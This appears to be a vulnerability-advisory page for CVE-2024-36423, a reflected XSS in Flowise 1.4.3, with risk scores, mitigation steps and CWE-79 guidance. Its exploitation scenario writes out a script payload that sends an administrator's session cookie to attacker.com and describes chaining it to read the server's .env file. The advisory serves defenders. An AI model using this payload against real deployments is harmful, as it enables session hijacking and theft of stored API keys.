CVE-2024-36423: Flowise reflected XSS

CISO Take

Flowise 1.4.3 contains a reflected XSS vulnerability in its public chatflows endpoint, where an unsanitized chatflow ID is echoed verbatim into a text/html 404 response — allowing an attacker to inject arbitrary JavaScript into any user's browser session by sharing a crafted URL. Flowise is an LLM pipeline builder commonly deployed in unauthenticated mode by default, meaning this is a zero-auth-required attack against a system that likely holds OpenAI/Anthropic API keys, LLM configurations, and internal prompt templates. With a public PoC already published, low attack complexity, and 16 total CVEs in this package, the risk profile warrants urgent attention regardless of the CVSS 6.1 rating. Until a patch is available, enforce authentication on all Flowise deployments, place the UI behind a VPN or IP allowlist, and implement WAF rules that reject non-UUID values in the chatflow ID path segment.

Sources: NVD GitHub Advisory ATLAS

What is the risk?

CVSS 6.1 understates operational risk for AI deployments. The default unauthenticated Flowise configuration exposes this endpoint to the internet, and the public PoC dramatically lowers attacker skill requirements to near-trivial. The XSS is chainable with a path traversal vulnerability (referenced in the same advisory) to read arbitrary files from the Flowise server — a combination that could expose LLM API keys, .env files, and workflow configurations. Organizations treating Flowise as an internal tool with no internet exposure have lower risk, but any deployment accessible to external users or clickable by insiders should treat this as high severity.

What systems are affected?

Package	Ecosystem	Vulnerable Range	Patched
Flowise	npm	—	No patch

Do you use Flowise? You're affected.

How severe is it?

CVSS 3.1

6.1 / 10

EPSS

0.4%

chance of exploitation in 30 days

Higher than 32% of all CVEs

Source: EPSS v3 — FIRST.org

Exploitation Status

Exploit Available

Exploitation: MEDIUM

Sophistication

Trivial

Exploitation Confidence

medium

○ Public PoC indexed (trickest/cve)

Composite signal derived from CISA KEV, VulnCheck KEV, CISA SSVC, EPSS, Metasploit, Exploit-DB, trickest/cve, Nuclei templates, and inthewild.io exploitation reports.

What is the attack surface?

AV Network

AC Low

PR None

UI Required

S Changed

C Low

I Low

A None

What should I do?

6 steps

Immediately enable Flowise authentication (FLOWISE_USERNAME / FLOWISE_PASSWORD env vars) if not already set — this is the single highest-impact control.
Place Flowise behind a VPN or restrict access by IP allowlist at the reverse proxy layer.
Apply WAF rule to reject requests where the chatflow ID path parameter contains characters outside the UUID character set ([0-9a-f-]).
Monitor Flowise access logs for requests containing script tags, event handlers, or javascript: in the chatflow ID path segment.
Audit all stored API keys in Flowise and rotate any keys that may have been exposed.
Watch the Flowise GitHub releases for a patched version — the advisory noted no patch was available at publication time.

What does CISA's SSVC say?

Decision Track

Exploitation none

Automatable No

Technical Impact partial

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Data Extraction Auth Bypass Code Execution Framework Agent AML.T0011.003 - Malicious Link AML.T0025 - Exfiltration via Cyber Means AML.T0049 - Exploit Public-Facing Application AML.T0055 - Unsecured Credentials AML.T0083 - Credentials from AI Agent Configuration

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act

Article 15 - Accuracy, robustness and cybersecurity

ISO 42001

8.4 - AI system technical specifications and security

NIST AI RMF

MANAGE 2.2 - Mechanisms for risk response

OWASP LLM Top 10

LLM02 - Insecure Output Handling LLM07 - Insecure Plugin Design

Frequently Asked Questions

What is CVE-2024-36423?

Flowise 1.4.3 contains a reflected XSS vulnerability in its public chatflows endpoint, where an unsanitized chatflow ID is echoed verbatim into a text/html 404 response — allowing an attacker to inject arbitrary JavaScript into any user's browser session by sharing a crafted URL. Flowise is an LLM pipeline builder commonly deployed in unauthenticated mode by default, meaning this is a zero-auth-required attack against a system that likely holds OpenAI/Anthropic API keys, LLM configurations, and internal prompt templates. With a public PoC already published, low attack complexity, and 16 total CVEs in this package, the risk profile warrants urgent attention regardless of the CVSS 6.1 rating. Until a patch is available, enforce authentication on all Flowise deployments, place the UI behind a VPN or IP allowlist, and implement WAF rules that reject non-UUID values in the chatflow ID path segment.

Is CVE-2024-36423 actively exploited?

Proof-of-concept exploit code is publicly available for CVE-2024-36423, increasing the risk of exploitation.

How to fix CVE-2024-36423?

1. Immediately enable Flowise authentication (FLOWISE_USERNAME / FLOWISE_PASSWORD env vars) if not already set — this is the single highest-impact control. 2. Place Flowise behind a VPN or restrict access by IP allowlist at the reverse proxy layer. 3. Apply WAF rule to reject requests where the chatflow ID path parameter contains characters outside the UUID character set ([0-9a-f-]). 4. Monitor Flowise access logs for requests containing script tags, event handlers, or javascript: in the chatflow ID path segment. 5. Audit all stored API keys in Flowise and rotate any keys that may have been exposed. 6. Watch the Flowise GitHub releases for a patched version — the advisory noted no patch was available at publication time.

What systems are affected by CVE-2024-36423?

This vulnerability affects the following AI/ML architecture patterns: agent frameworks, LLM orchestration platforms, no-code AI builders, chatbot deployments.

What is the CVSS score for CVE-2024-36423?

CVE-2024-36423 has a CVSS v3.1 base score of 6.1 (MEDIUM). The EPSS exploitation probability is 0.40%.

What is the AI security impact?

Affected AI Architectures

agent frameworksLLM orchestration platformsno-code AI builderschatbot deployments

MITRE ATLAS Techniques

AML.T0011.003 Malicious Link

AML.T0025 Exfiltration via Cyber Means

AML.T0049 Exploit Public-Facing Application

AML.T0055 Unsecured Credentials

AML.T0083 Credentials from AI Agent Configuration

Compliance Controls Affected

EU AI Act: Article 15

ISO 42001: 8.4

NIST AI RMF: MANAGE 2.2

OWASP LLM Top 10: LLM02, LLM07

What are the technical details?

Original Advisory

Flowise is a drag & drop user interface to build a customized large language model flow. In version 1.4.3 of Flowise, a reflected cross-site scripting vulnerability occurs in the `/api/v1/public-chatflows/id` endpoint. If the default configuration is used (unauthenticated), an attacker may be able to craft a specially crafted URL that injects Javascript into the user sessions, allowing the attacker to steal information, create false popups, or even redirect the user to other websites without interaction. If the chatflow ID is not found, its value is reflected in the 404 page, which has type text/html. This allows an attacker to attach arbitrary scripts to the page, allowing an attacker to steal sensitive information. This XSS may be chained with the path injection to allow an attacker without direct access to Flowise to read arbitrary files from the Flowise server. As of time of publication, no known patches are available.

Exploitation Scenario

An attacker identifies a target organization using Flowise (detectable via Shodan/Censys by Flowise's default port and UI fingerprint). They craft a URL to the target's Flowise instance embedding a JavaScript payload in the chatflow ID path: `/api/v1/public-chatflows/<script>document.location='https://attacker.com/steal?c='+document.cookie</script>`. The attacker sends this URL to a Flowise administrator via email or Slack. When the admin clicks, the 404 page renders with the injected script, sending the admin's session cookie to the attacker's server. The attacker uses the stolen session to log into Flowise, extract all stored API keys (OpenAI, Anthropic, etc.), and exfiltrate LLM flow configurations. In a more targeted variant, the attacker chains this with the path traversal to automatically read `/app/.env` from the server via the injected JS, capturing database credentials in a single interaction.

Weaknesses (CWE)

CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') Primary CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'): The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

[Architecture and Design] Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
[Implementation, Architecture and Design] Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Parts of the same output document may require different encodings, which will vary depending on whether the output is in the: etc. Note that HTML Entity Encoding is only appropriate for the HTML body. Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed. HTML body Element attributes (such as src="XYZ") URIs JavaScript sections Casca

Source: MITRE CWE corpus.